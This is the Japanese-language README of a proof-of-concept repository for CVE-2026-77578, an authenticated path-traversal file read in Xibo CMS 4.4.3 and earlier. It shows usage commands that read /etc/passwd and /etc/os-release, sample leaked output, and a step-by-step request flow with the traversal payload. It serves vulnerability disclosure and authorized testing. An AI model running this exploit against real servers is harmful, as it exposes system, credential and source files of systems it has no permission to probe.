
Pythonの概念実証コード。Xibo CMSにおける認証済みパストラバーサルの脆弱性CVE-2026-77578を悪用し、細工されたXMLテンプレートのインポートを通じて任意のローカルファイルを読み取ります。
CVE-2026-77578 は、Xibo CMS における認証済みの任意のローカルファイル読み取り脆弱性です。
管理者権限またはモジュールテンプレートへのアクセス権を持つ認証済みユーザーが、トラバーサルシーケンスを含むパスベースのアセットを含む細工された XML テンプレートをインポートできます。その後、生成されたアセットにモジュールアセットエンドポイントを通じてアクセスでき、Xibo が参照されたローカルファイルの内容を返します。
<= 4.4.3>= 4.4.4AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)Xibo はこの脆弱性を GHSA-pc3g-2hhm-46qc として公開し、バージョン <= 4.4.3 が影響を受け、>= 4.4.4 が修正済みであることを確認しました。アドバイザリは 高 の深刻度を CVSS v3.1 スコア 8.8 で割り当て、CVE-2026-77578 を特定しています。
提供された Python PoC は悪用プロセスを自動化します:
/developer/template/import を通じて細工された XML テンプレートをアップロードします。/module/asset/<asset-id> を通じて生成されたアセットをリクエストします。python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>
例:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/passwd
別の例:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/os-release
-f オプションのデフォルトは /etc/passwd です。
以下は /etc/passwd の取得に成功した例です:
==============================================
FILE CONTENT
==============================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Authenticated User
|
v
GET /developer/template/view
|
v
Extract X-XSRF-TOKEN
|
v
POST /developer/template/import
|
| Crafted XML
| path="../../../../../etc/passwd"
v
Xibo creates the asset
|
v
GET /module/asset/<asset-id>
|
v
Contents of local file returned
この脆弱性は、ローカルの Xibo CMS 4.4.3 テスト環境において、以下のものを含む複数のファイルに対して正常に検証されました:
/etc/passwd/etc/hosts/etc/os-release/var/www/cms/web/index.phpPHP ソースファイルのテストは、この問題が単なるシステムメタデータだけでなく、アプリケーションのソースコードを返すことが可能であることを示しています。
悪用に成功すると、必要な Module Templates 権限を持つ認証済み攻撃者が、Xibo アプリケーションプロセスがアクセス可能な任意のファイルを読み取ることができます。
デプロイメントによっては、以下が露出する可能性があります:
この概念実証は、許可されたセキュリティ研究および防御的テストの目的のみに提供されています。
所有しているか、評価の明示的な許可を得ているシステムのみをテストしてください。
CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
└── poc-output.png